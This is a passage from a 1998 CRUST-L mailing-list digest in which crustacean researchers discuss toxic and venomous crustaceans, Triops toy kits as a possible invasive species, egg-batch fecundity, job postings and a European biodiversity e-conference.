accumulate the various toxins as do the SPacific crabs. Any idea on why? CHeers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Edwin Cruz-Rivera Date: Mon, 27 Apr 1998 09:46:07 -0400 (EDT) Subject: Re: CRUST-L: toxic crusties An interesting question... Looking at some of the unpublished examples of chemically defended crustaceans that have been mentioned here makes you wonder if the lack of reports is because we have not looked hard enough. My recollection is that only pea crabs have been claimed to produce chemical defenses of any sort (this is in JEMBE, but I can't remember the year nor the authors). A particular mucus film on the carapace of the crab was argued to serve as defense, and it was only found on one of the larval stages. However, this paper lacked the critical tests that would conclusively demonstrate the presence of a chemical defense. For those larger crabs that have been claimed toxic, the accumulation of dinoflagellate metabolites is often responsible for the reports, most of which deal with medical cases (I did not know about Birgus latro, though). Whether this has an antipredatory effect in nature it is unknown. It certainly would mean death to the crab, since the toxins accumulate inside the body. Unless there is kin selection, this would not be much of an effective strategy. However, if there is sublethal predation, this may work. It is not unusual for a crab to lose a leg or two, and if the predators learn to avoid the animal there may be a net benefit. A similar argument has been made by Rikk Kvitek and coworkers about butter clams which accumulate dinoflagellate toxins, and which suffer from siphon nipping by natural enemies (Kvitekk and Beitler. 1988. J. Mar. Res. 4:629-636; Kvitekk. 1991. Mar. Biol. 111:369-374). I don't know of similar studies conducted on crustaceans. As far as "behavioral sequestration", a term often used to describe cases like Philip Oshel and Alistair Poore mention, in which defense is by association, there are a few reports. As Alistair pointed out, the amphipod Pseudoampithoides incurvaria makes a domicile from a chemically defended alga (Dictyota bartrayesii)and gets protection from fish. Interestingly, Barnard and Karaman (1991) mention that both Pseudoampithoides species described show the same behavior, but the chemistry of the interaction has only been studied in the case of P. incurvaria (Hay et al. 1990). McClintock's pteropod abduction by a hyperiid amphipod is similar. However, only a percentage of the amphipods in that paper had pteropods, and I have been told that these amphipods will carry on their backs a number of different things, so the chemical defense could be fortuitous. More recently, a friend of mine has demonstrated that the decorator crab, Libinia dubia, will selectively cover itself with a chemically defended brown seaweed, and that the chemical compound that deters feeding in fish is the one that stimulates decoration. That paper is in press in Ecology. Something similar could be happening with hermit crabs that gain added defense when their shells are covered by hydroids or with anemones, but again, the chemistry remains to be studied. As Philip Oshel notes, it is interesting to see that sequestration, which is so common in other arthropods, appears to be so rare in crustaceans. I wonder if anyone would care to comment on why that may be. Are the anatomical or metabolic adaptations that allow insects to sequester metabolites, missing from crustaceans? Intuitively I would say yes, but I would rather hear it from someone who knows. I doubt we know enough about crustacean physiology for some of the more exotic, non comercially important groups, but we know a fair deal about crustacean physiology for several of the larger species, as well as insects. Any ideas, any takers? Saludos, Edwin Cruz-Rivera Ph (919) 726-6841 Institute of Marine Sciences Fax (919) 726-2426 University of North Carolina, Chapel Hill email: ecruzriv@email.unc.edu 3431 Arendell Street Morehead City, NC 28557 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Marcelo A. A. Pinheiro" Date: Mon, 27 Apr 1998 14:20:04 -0300 Subject: CRUST-L: Triops longicaudatus This is a multi-part message in MIME format. - ------=_NextPart_000_000A_01BD71E7.92A65400 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear friends,=20 A Brazilian factory of toys began the commercialization of Triops = longicaudatus kits (eggs + food) with educational purpose for the = juvenile public of my country... perhaps a substitution of the famous = "virtual pet". In spite of the authorization obtained for this purpose, = I was very worried with a possible accidental dispersion in our waters, = mainly after I had information on its fast growth, great size in the = adult phase, rusticity, maturity and feeding. Certainly the accidental = introduction of this exotic species will bring tragic ecological = consequences for other native species... Does anybody have some news on = environmental impact caused by this species? I am picking this = information to do an opinion on the subject for the authorities of my = country.=20 I thank your attention...=20 Marcelo Pinheiro ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Dr. Marcelo Antonio Amaro Pinheiro FCAV - UNESP Campus de Jaboticabal Laborat=F3rio de Biologia de Crust=E1ceos (NEBECC) Depto. de Biologia Aplicada Rod. Carlos Tonanni, km 5 - CEP 14.870-000 Jaboticabal (SP) - Brasil Fone: +55 16 3232500 (Ramal 230) Fax: +55 16 3224275 e-mail: pinheiro@fcav.unesp.br ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - ------=_NextPart_000_000A_01BD71E7.92A65400 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

    Dear friends,

    A Brazilian factory of toys began the = commercialization=20 of Triops longicaudatus kits (eggs + food) with educational = purpose for=20 the juvenile public of my country... perhaps a substitution of the = famous=20 "virtual pet". In spite of the authorization obtained for this = purpose, I was very worried with a possible accidental dispersion in our = waters,=20 mainly after I had information on its fast growth, great size in the = adult=20 phase, rusticity, maturity and feeding. Certainly the accidental = introduction of=20 this exotic species will bring tragic ecological consequences for other = native=20 species... Does anybody have some news on environmental impact caused by = this=20 species? I am picking this information to do an opinion on the subject = for the=20 authorities of my country.

    I thank your attention...

    Marcelo Pinheiro

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Prof. Dr. Marcelo = Antonio=20 Amaro Pinheiro
    FCAV - UNESP Campus de Jaboticabal
    Laboratório de Biologia de Crustáceos = (NEBECC)
    Depto. de Biologia Aplicada
    Rod. = Carlos=20 Tonanni, km 5 - CEP 14.870-000
    Jaboticabal (SP) - Brasil
    Fone: +55 = 16=20 3232500 (Ramal 230)
    Fax: +55 16 3224275
    e-mail: pinheiro@fcav.unesp.br
    ~~~~= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
    = - ------=_NextPart_000_000A_01BD71E7.92A65400-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Mark J. Costello" Date: Mon, 27 Apr 1998 21:51:33 GMT Subject: CRUST-L: biodiversity and research Some news which may interest crustys because crustaceans are one of the most widespread components of biodiversity: 1. A European Science Foundation study group has recently produced a plan for marine biodiversity research. It is available on the web at: http://www.esf.org/mpb/Marbio.html 2. The Communication of the European Commission to its Parliament concerning how the Convention on Biological Diversity would be implemented by the European Union is available at http://europa.eu.int:80/en/comm/dg11/docum/9842en.pdf This is a most important document and covers all sectors, including research. An email conference to discuss this communication will be starting soon (See point 4 below). 3. The European Commission environmental research section of DGXII funded a Working Group on Research and Biodiversity (EWGRB) in 1997 which produced a report available on the world wide web. This report is being used to direct research funding on biodiversity in Europe. Information is available on the web at http://www.oden.se/~ewgrb http://www.algonet.se/~bear http://www.geocities.com/HotSprings/Spa/5711/index.html There was limited marine and freshwater input to this group. However it is still possible to contribute to its debate through an electronic conference which has led on from the EWGRB to start shortly (see point 4 below). I will be chairing the 'fisheries' section but the scope of this is as wide as we wish, i.e. all marine activities which may be affected by or may be effected by fisheries. Offers of contributions are very welcome. 4. An electronic conference to discuss biodiversity research needs is to be held from 4 May until 16 June 1998. One can participate by (a) joining an email discussion group (i.e. a 'listserver' where messages sent to a single address are automatically bounced back to all persons who have 'subscribed'). You can subscribe to the email listserver by sending the message SUBSCRIBE BIODIV to listserver@e-mail.gencat.es, or through the web site (see below). You will receive an automatic reply providing additional instructions. (b) visiting (reading) the web site and making contributions to the 'discussion Forum' via this same web site. 5. The European Commission Statistical Office in collaboration with the European Environment Agency has produced a suite of indicators of pressures on the environment covering all sectors. A full list of the methodology for deriving each indicator is available at Eurostat indicators of pressure on marine and coastal biodiversity (http://www.telecom.es/tau/sheets.htm). good reading Mark. Dr Mark J. Costello, Ecological Consultancy Services Ltd (EcoServe), 7 Glenmalure Park, Rialto, Dublin 8, Ireland. http://www.ecoserve.ie E-mail: mcostello@ecoserve.ie Tel. + 353-1- 490 32 37; Home office - 453 31 95; Fax + 353-1- 492 56 94; Mobile 087 - 239 339 0. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Gustav Paulay Date: Tue, 28 Apr 1998 09:50:00 +1000 (GMT+1000) Subject: Re: CRUST-L: Re: Toxic crustaceans For whatever it is worth, on the island of Mauke (Cook Islands), the spiny lobster Panulirus penicillatus is regarded as toxic by the locals on some parts of the reef, but not elsewhere. Gustav Paulay Marine Lab university of Guam On Mon, 27 Apr 1998, Jeffrey Shields wrote: > Crustlers, > > Considering bioamplification, it seems odd that spiny lobster do not > accumulate the various toxins as do the SPacific crabs. > > Any idea on why? > > CHeers, Jeff > jeff@vims.edu > ( ) ( ) Jeffrey Shields > (^ ^) (^ ^) Assistant Professor > (^) . . (^) Virginia Institute of Marine Science > \\ 0 | | 0 // Gloucester Point, VA 23062, USA > \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 > \^ ^^ ^/ http://www.vims.edu/~jeff/ > <====\^ ( ) ^/====> > <====\^ ^/====> > <====\ /====> > ()===(____)===() > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Tue, 28 Apr 1998 10:52:10 +0000 (SAST) Subject: CRUST-L: Re: your mail Maria Thanks for the reply and the references, I really appreciate it. > My opinion is that species with abbreviated development with two or > three zoeal stages should exhibit some kind of lecithotrophy-not > yet docummented. I agree here, especially when I consider the results from my experiments. Upogebia africana larvae show a really high degree of lecithotrophy, although larval development is not completely lecithotrophic, again here facultative lecithotrophy is NB as the effects of starvation are clearly evident on later development. Interestingly, a fourth zoeal stage appears under intense starvation. I am nearing the completion of this work and will send you a copy of the chapter for my PhD thesis and would appreciate it if you could provide comments. Regards Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 28 Apr 1998 10:52:58 -0400 (EDT) Subject: CRUST-L: molecular systematics postdoc (fwd) Please respond to Barbara Cook and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: "BA COOK" Organization: University of Stellenbosch To: crust-l@vims.edu Date: Tue, 28 Apr 1998 16:37:02 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: (Fwd) molecular systematics postdoc Priority: normal X-mailer: Pegasus Mail for Windows (v2.54) Message-ID: <88819C219B0@land.sun.ac.za> Dear fellow Crusters I am looking for someone who has experience in the field of crustacean molecular systematics who might be interested in joining our research group as a post-doc for 1-2 years starting 1999. Projects which the post doc can get involved with include the phylogenetic relationships of the potamonautid river crabs of southern Africa, phylogenetic relationships within the the dromiid sponge crabs, or the molecular systematics of the phreatoicidean isopods. If you are interested, give me a shout! Barbara Cook Dr Barbara Cook Department of Zoology University of Stellenbosch Private Bag X1 Matieland 7602 South Africa tel: (021)808-3230 fax: (021)808-2405 Dr Barbara Cook Department of Zoology University of Stellenbosch Private Bag X1 Matieland 7602 South Africa tel: (021)808-3230 fax: (021)808-2405 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jose Luis Bortolini Rosales Date: Tue, 28 Apr 1998 11:16:15 -0500 (CDT) Subject: [none] Any body know the e-mail of the Dr. Jean Hoeg. Thank you Atte. Biol. Jose Luis Bortolini Rosales Laboratorio de Invertebrados, Departamento de Biologia, Facultad de Ciencias, Universidad Nacional Autonoma de Mexico Apartado Postal 70-371 Mexico D. F. 04510 MEXICO Tel.- (5) 6224919; Fax.- (5) 6224828 e-mail: jlbr@hp.fciencias.unam.mx; jlbr2@servidor.unam.mx ======================================================================== The sea does not reward those who die to anxious, too greedy, or too impatient. To dig for treasures show not only impatience and greed, but lack of fiith. Patience, patience, petience, is what the sea teaches. Patience and faith. One should lie empty, open choiceless as a beach waiting for a gift from the sea. ======================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Mark J. Costello" Date: Tue, 28 Apr 1998 22:40:37 GMT Subject: CRUST-L: Electronic conference on biodiversity research needs Dear subscribers, The Electronic Conference on Biodiversity and Research starts on next Monday 4th MAY !!! The main goal of the Electronic Conference is to foster an open and active dialogue=20 on the various fields in which all their representatives take part in. Participants will be able to send their opinions, and to comment on the previous=20 contributions, to reply and counter-reply. The Electronic Conference is open to everybody; opinions, comments,= questions=20 and worries concerning biodiversity are welcomed from various sectors. To participate in the Electronic Conference the following means are= available: a Mail List (list server) and a World Wide Web Site. Participants wil be able to take part in the Electronic Conference=20 either by subscribing to the mail list, or by visiting the Web site and= making=20 contributions to the Discussion Forum. The web page is being updated throughout this week with new contents. http://www.gencat.es/mediamb/biodiv Discussion forum pages, will be set this next week. Below, we enclose the progamme of the Electronic Conference: ***PROGRAMME*** =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The ECRB will have two main documents as a background: - -The Report "Understanding Biodiversity", EWGRB, 1997. http://www.oden.se/~ewgrb - -The newly presented European Community Biodiversity Strategy. http://europa.eu.int:80/en/comm/dg11/docum/9842en.pdf The Electronic Conference will run from 4th May to 14th June, 1998. Six members of the European Working Group on Research and Biodiversity=20 will chair the Conference one day of the week each, throughout six weeks=20 being responsible for one of the following policy areas: - -Agriculture- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Day of week: Monday Chair: Dr. Allan D. Watt. Institute of Terrestrial Ecology, Edinburgh Scotland. UK - -Fisheries and Forestry- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Day of week: Tuesday Chair (forestry): Dr. Tor-Bj=F6rn Larsson=20 Swedish Environmental Protection Agency, Stockholm SWEDEN Chair (fisheries): Dr. Mark Costello. Ecological Consultancy Services Ltd (Ecoserve), Dublin IRELAND - -Conservation of Natural Resources- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Day of week: Wednesday Chair: Dr. Andreas Troumbis University of the Aegean, Lesbos Island, Mytilini GREECE - -Tourism and Hunting- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Day of week: Thursday Chair: Dr. Linus Svensson.=20 Lund University, Lund SWEDEN - -Regional and Spatial Planning. Energy and Transport-=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=20 Day of week: Friday Chair: Mr. Peter Nowicki European Center for Nature Conservation. Tilburg NETHERLANDS Every day the Chair will introduce one guest, an outstanding representative= =20 of the sector which will make a contribution falling into the respective policy area.=20 The contribution and comments made by the Chair will act as a start for discussion. Comments and suggestions falling into any of the five fields are expected every day. The last week (8th June), final conclusions on each of the Policies Areas will be=20 presented by the respective Chair. This Web site will remain open some weeks after the end of the E-conference. Do not hesitate to contact us for further information: The Electronic Conference on Research and Biodiversity Secretariat c/o Ministry of Environment Autonomous Government of Catalonia Diagonal, 523-525 E-08029, Barcelona E-conference e-mail: wbiodiv@correu.gencat.es Dr Mark J. Costello, Ecological Consultancy Services Ltd (EcoServe), 7 Glenmalure Park, Rialto, Dublin 8, Ireland. http://www.ecoserve.ie E-mail: mcostello@ecoserve.ie Tel. + 353-1- 490 32 37;=20 Home office - 453 31 95; Fax + 353-1- 492 56 94; Mobile 087 - 239 339 0. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 29 Apr 1998 09:04:56 -0400 (EDT) Subject: CRUST-L: toxic crustaceans (fwd) Please respond to the list and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: "Kim Larsen" To: crust-l@vims.edu Date: Wed, 29 Apr 1998 20:55:35 GMT+1000 Subject: Toxic Crustaceans Priority: normal In-reply-to: <199804220733.DAA02964@back.vims.edu> X-mailer: Pegasus Mail for Windows (v2.52) Message-ID: <2FDD9FD59EF@rna.bio.mq.edu.au> Hi phil! Regarding venomous caprellids. You are probably referring to a publication of Wetzel (1932) who reported that a spine on the second pair of gnathopods was connected to glandular tissue and that this appeared to be venomous in nature. Additional evidence was provided by Costa (1960) stating that the prey of Phtisica mariner was unable to struggle shortly after being seized, thus indicating venom being introduced. However this is only cercumstancial evidence, since most caprellid species do not use the second gnathopods in capturing prey, but the first gnathopods and the antennas. Another problem is that the term poison tooth was used by P. Mayer 40 years before the publication of Wetzel. For whatever reason I do not know. Thus the question if caprellids are venomous still stand unresolved I am afraid. Personally I doubt it. Kim Larsen =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 29 Apr 1998 09:06:40 -0400 (EDT) Subject: CRUST-L: first egg batch Please respond to Peter Heuch and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: "Heuch, Peter Andreas" To: "'CRUST-L@VIMS.EDU'" Subject: first egg batch Crustlers, Does anybody know whether there is a difference in egg number and/or quality in successive egg batches of crustaceans? We have found that in the parasitic copepod Lepeophtheirus salmonis the first egg batch is always smaller than the rest. Any similar observations? Cheers Peter Peter Andreas Heuch National Veterinary Institute Veterin=E6rinstituttet Oslo Fish Health Section Seksjon for Fiskehelse PO Box 8156 Dep., Pb. 8156 Dep., N-0033 Oslo 0033 Oslo Norway T: +47 22 96 46 64 F: +47 22 46 38 77 Peter-Andreas.Heuch@vetinst.no =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #139 ***************************** From owner-crust-l Tue May 5 22:21:01 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id WAA25172 for crust-l-digest-outgoing; Tue, 5 May 1998 22:18:30 -0400 Date: Tue, 5 May 1998 22:18:30 -0400 Message-Id: <199805060218.WAA25172@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #140 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 14 crust-l-digest Tuesday, 5 May 1998 Volume 01 : Number 140 CRUST-L: Apologies Re: CRUST-L: toxic crustaceans (fwd) Re: CRUST-L: first egg batch (fwd) CRUST-L: re: toxic caprellids CRUST-L: stinging crustaceans Re: CRUST-L: stinging crustaceans CRUST-L: Stinging creatures CRUST-L: Lectureship in Crustacean Aquaculture CRUST-L: Crayfish identification??? CRUST-L: Sacculina research CRUST-L: Information on Anonyx CRUST-L: Molecular biology cooporation CRUST-L: molecular biology CRUST-L: Information on Anonyx CRUST-L: ocypode quadrata (fwd) CRUST-L: moult-free growth CRUST-L: Caprellid nasties ---------------------------------------------------------------------- From: Brent Newman zool Date: Wed, 29 Apr 1998 16:25:05 +0000 (SAST) Subject: CRUST-L: Apologies Fellow Members My sincerest apologies for the personal message that I inadvertently sent to all of you. I apologise for this. Regards Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Wed, 29 Apr 1998 12:49:21 -0500 Subject: Re: CRUST-L: toxic crustaceans (fwd) This pretty much confirms my suspicions. I'd forgotten the references (and mine are all buried in the book-box orogeny that is my library right now), but the reference to Wetzel sounds like what I was remembering. The venomous nature of a gland's secretion cannot be determined by histology or histochemistry. Immunocytochemistry would do the job, if anyone had antibodies to possible venoms. Otherwise, studies such as Costa's that Kim referenced need to be done. "Poison tooth" may have been used if Mayer saw a pore in or at the base of the spine/spiniform seta on gn2 that sits next to where the distal end of the terminal segment contacts the penulitmate segment when the former closes. (I've forgotten the Official Names for the moment. Need more gingko.) Phil > Regarding venomous caprellids. You are probably referring >to a publication of Wetzel (1932) who reported that a spine on the >second pair of gnathopods was connected to glandular tissue and that >this appeared to be venomous in nature. Additional >evidence was provided by Costa (1960) stating that the prey of >Phtisica mariner was unable to struggle shortly after being seized, >thus indicating venom being introduced. > However this is only cercumstancial evidence, since most caprellid >species do not use the second gnathopods in capturing prey, but the >first gnathopods and the antennas. Another problem is that the term >poison tooth was used by P. Mayer 40 years before the publication of >Wetzel. For whatever reason I do not know. Thus the question if >caprellids are venomous still stand unresolved I am afraid. >Personally I doubt it. > >Kim Larsen }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 29 Apr 1998 13:55:40 -0400 (EDT) Subject: Re: CRUST-L: first egg batch (fwd) Please respond to the list, or Peter Heuch, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Wed, 29 Apr 1998 11:53:45 -0400 (EDT) From: GEORGER@UNCWIL.EDU To: jeff@vims.edu Subject: Re: CRUST-L: first egg batch Hello, I can report on fecundity from what I know. The Antatctic krill begins to produce eggs as the autral summer commences around christmas but the egg production goieson throughtout the summer for five more months or sobut the fecundity decreases. This trend is just the opposite of waht you have seen in yout critter, also a crustacean but your species has a different life style, being parasitic. Regards, Bob George Carcinologist. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "DANIEL ABED-NAVANDI" Date: Thu, 30 Apr 1998 12:12:36 MET-1MEST Subject: CRUST-L: re: toxic caprellids Regarding toxic (or not ?) caprellids I can offer anecdotal support: While sorting dreged material I was stung by an animal which turned out to be a small caprellid. The pain I felt in my finger was similar to that of a bee-sting and lasted for a few hours. Regards Daniel _______________________________________ Daniel Abed-Navandi Department for Marine Biology Institute for Zoology University of Vienna Tel: ++43.1.31336.1295 Fax: ++43.1.31336.778 Althanstrasse 14 A-1090 Vienna Austria 